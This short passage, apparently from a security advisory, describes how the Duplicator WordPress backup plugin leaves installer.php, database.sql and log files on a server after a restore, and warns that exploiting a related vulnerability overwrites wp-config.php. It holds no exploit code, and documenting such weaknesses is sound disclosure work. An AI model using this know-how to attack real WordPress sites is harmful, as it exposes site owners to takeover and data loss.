Duplicator by Snap Creek is a WordPress plugin that can be used to create a complete backup of a WordPress instance and restore it on a fresh server. The export method generates 2 files:

• An ZIP archive with the complete WordPress files and Duplicator specific files:
  • A copy of the installer.php script: installer-backup.php
  • A SQL script that will be used to restore the database content: database.sql
• An installer PHP script to restore the archive installer.php

When the installer.php completes its process, the following files remain in the directory and has to be manually deleted:

• The ZIP archive
• database.sql
• installer-backup.php
• installer-data.sql
• installer-log.txt
• installer.php

WARNING: exploiting the vulnerability will overwrite the wp-config.php file, breaking the WordPress instance.
